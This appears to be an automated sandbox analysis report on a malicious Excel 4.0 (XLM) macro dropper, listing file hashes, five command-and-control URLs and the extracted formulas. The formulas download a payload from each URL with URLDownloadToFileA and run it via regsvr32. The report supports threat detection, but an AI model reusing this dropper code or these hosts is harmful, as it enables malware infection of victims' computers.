4d459e2507012e55fe1ee46734f15b770b80f8f38e6ed573437c31f97160161d

General

Target

4d459e2507012e55fe1ee46734f15b770b80f8f38e6ed573437c31f97160161d
Size

173KB
Sample

241120-msp5nszpcp
MD5

bf7b2ecc22a2e56146bf4d6f933fb5d7
SHA1

ec919497cd007e814c25899bccbd4e2e05c44408
SHA256

4d459e2507012e55fe1ee46734f15b770b80f8f38e6ed573437c31f97160161d
SHA512

c03c8f37415ff50ac2afdfad85eb6bc8f761933cc76f5e53bee20349f9f8e184be88776aa7bb7d142777f4f6e9e62a6008811fed3f95eec499a73032573da4fd
SSDEEP

3072:TUlKwtyfsBMtuqBqBqrhyqBqBqBqrhyqmBqenFZRmXANKXg7e79ElHIcp4Gg7SpB:T+KwtyfsBMtuqBqBqrhyqBqBqBqrhyqU

Score

10^/10

discovery macro xlm

Rule

Excel 4.0 XLM Macro

C2

https://carretilha.net/whats/RSL50BlRP0a6hj/

https://shrinandrajoverseas.com/old/wQXty0wnVDY/

https://zionimoveis.com.br/wp-content/Bn00gaw/

https://kontacsgo.pl/m/uwZYNUjGeWW/

http://vps36153.publiccloud.com.br/wp-admin/RfAZZ776uMNhSpOT/

Attributes

formulas
=FORMULA() =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://carretilha.net/whats/RSL50BlRP0a6hj/","..\xxw1.ocx",0,0) =IF('EFWFSFG'!D15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://shrinandrajoverseas.com/old/wQXty0wnVDY/","..\xxw1.ocx",0,0)) =IF('EFWFSFG'!D17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://zionimoveis.com.br/wp-content/Bn00gaw/","..\xxw1.ocx",0,0)) =IF('EFWFSFG'!D19<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://kontacsgo.pl/m/uwZYNUjGeWW/","..\xxw1.ocx",0,0)) =IF('EFWFSFG'!D21<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://vps36153.publiccloud.com.br/wp-admin/RfAZZ776uMNhSpOT/","..\xxw1.ocx",0,0)) =IF('EFWFSFG'!D23<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe /s ..\xxw1.ocx") =RETURN()

Language

xlm4.0

Source

URLs

xlm40.dropper

https://carretilha.net/whats/RSL50BlRP0a6hj/

xlm40.dropper

https://shrinandrajoverseas.com/old/wQXty0wnVDY/

xlm40.dropper

https://zionimoveis.com.br/wp-content/Bn00gaw/

xlm40.dropper

https://kontacsgo.pl/m/uwZYNUjGeWW/

xlm40.dropper

http://vps36153.publiccloud.com.br/wp-admin/RfAZZ776uMNhSpOT/